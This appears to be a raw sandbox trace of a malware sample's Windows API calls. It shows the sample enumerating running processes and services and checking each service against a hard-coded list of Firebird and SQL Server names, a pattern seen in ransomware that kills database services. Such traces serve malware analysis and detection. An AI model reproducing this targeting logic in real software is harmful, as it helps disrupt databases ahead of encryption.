	[0180.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.896] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0180.896] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0180.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a8
	[0180.903] Process32FirstW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0180.903] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0180.904] lstrlenW (lpString="System") returned 6
	[0180.904] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0180.904] lstrlenW (lpString="smss.exe") returned 8
	[0180.904] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.905] lstrlenW (lpString="csrss.exe") returned 9
	[0180.905] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0180.906] lstrlenW (lpString="wininit.exe") returned 11
	[0180.906] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.906] lstrlenW (lpString="csrss.exe") returned 9
	[0180.906] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0180.907] lstrlenW (lpString="winlogon.exe") returned 12
	[0180.907] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0180.908] lstrlenW (lpString="services.exe") returned 12
	[0180.908] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0180.908] lstrlenW (lpString="lsass.exe") returned 9
	[0180.908] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.909] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.909] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.909] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.909] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.910] lstrlenW (lpString="svchost.exe") returned 11
	[0180.910] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.910] lstrlenW (lpString="svchost.exe") returned 11
	[0180.910] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0180.911] lstrlenW (lpString="dwm.exe") returned 7
	[0180.911] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.911] lstrlenW (lpString="svchost.exe") returned 11
	[0180.911] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.912] lstrlenW (lpString="svchost.exe") returned 11
	[0180.912] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.912] lstrlenW (lpString="svchost.exe") returned 11
	[0180.912] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.913] lstrlenW (lpString="svchost.exe") returned 11
	[0180.913] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.913] lstrlenW (lpString="svchost.exe") returned 11
	[0180.913] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.914] lstrlenW (lpString="svchost.exe") returned 11
	[0180.914] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.914] lstrlenW (lpString="svchost.exe") returned 11
	[0180.914] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.915] lstrlenW (lpString="svchost.exe") returned 11
	[0180.915] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.915] lstrlenW (lpString="svchost.exe") returned 11
	[0180.915] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.916] lstrlenW (lpString="svchost.exe") returned 11
	[0180.916] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0180.916] lstrlenW (lpString="spoolsv.exe") returned 11
	[0180.916] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.916] lstrlenW (lpString="svchost.exe") returned 11
	[0180.917] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0180.917] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0180.917] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0180.917] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0180.917] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0180.918] lstrlenW (lpString="audiodg.exe") returned 11
	[0180.918] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0180.934] lstrlenW (lpString="Memory Compression") returned 18
	[0180.934] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0180.935] lstrlenW (lpString="taskhostw.exe") returned 13
	[0180.935] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0181.255] lstrlenW (lpString="sihost.exe") returned 10
	[0181.255] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.255] lstrlenW (lpString="svchost.exe") returned 11
	[0181.255] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.256] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.256] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0181.256] lstrlenW (lpString="explorer.exe") returned 12
	[0181.256] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0181.257] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0181.257] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0181.257] lstrlenW (lpString="SearchUI.exe") returned 12
	[0181.257] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0181.258] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0181.258] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0181.258] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0181.258] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0181.259] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0181.259] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0181.337] lstrlenW (lpString="consent.exe") returned 11
	[0181.337] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0181.338] lstrlenW (lpString="dllhost.exe") returned 11
	[0181.338] Process32NextW (in: hSnapshot=0x4a8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0181.338] CloseHandle (hObject=0x4a8) returned 1
	[0181.338] Sleep (dwMilliseconds=0x1f4) 
	[0181.848] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929cc8
	[0181.849] EnumServicesStatusExW (in: hSCManager=0x3929cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0181.850] GetLastError () returned 0xea
	[0181.850] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4044f98
	[0181.850] EnumServicesStatusExW (in: hSCManager=0x3929cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4044f98, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4044f98, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0181.851] CloseServiceHandle (hSCObject=0x3929cc8) returned 1
	[0181.852] lstrlenW (lpString="Appinfo") returned 7
	[0181.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0181.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0181.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0181.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0181.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0181.852] lstrlenW (lpString="AppXSvc") returned 7
	[0181.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0181.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0181.852] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0181.852] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0181.853] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0181.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0181.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0181.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0181.853] lstrlenW (lpString="Audiosrv") returned 8
	[0181.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0181.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0181.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0181.853] lstrlenW (lpString="BFE") returned 3
	[0181.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0181.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0181.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0181.853] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0181.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0181.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0181.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0181.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0181.853] lstrlenW (lpString="CDPSvc") returned 6
	[0181.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0181.854] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0181.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0181.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0181.854] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0181.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0181.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0181.854] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0181.854] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0181.855] lstrlenW (lpString="CryptSvc") returned 8
	[0181.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0181.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0181.855] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0181.855] lstrlenW (lpString="DcomLaunch") returned 10
	[0181.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0181.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0181.855] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0181.855] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0181.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0181.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0181.855] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0181.855] lstrlenW (lpString="Dhcp") returned 4
	[0181.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0181.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0181.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0181.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0181.856] lstrlenW (lpString="Dnscache") returned 8
	[0181.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0181.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0181.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0181.856] lstrlenW (lpString="DPS") returned 3
	[0181.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0181.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0181.856] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0181.856] lstrlenW (lpString="DusmSvc") returned 7
	[0181.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0181.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0181.856] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0181.856] lstrlenW (lpString="EventLog") returned 8
	[0181.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0181.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0181.856] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0181.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0181.856] lstrlenW (lpString="EventSystem") returned 11
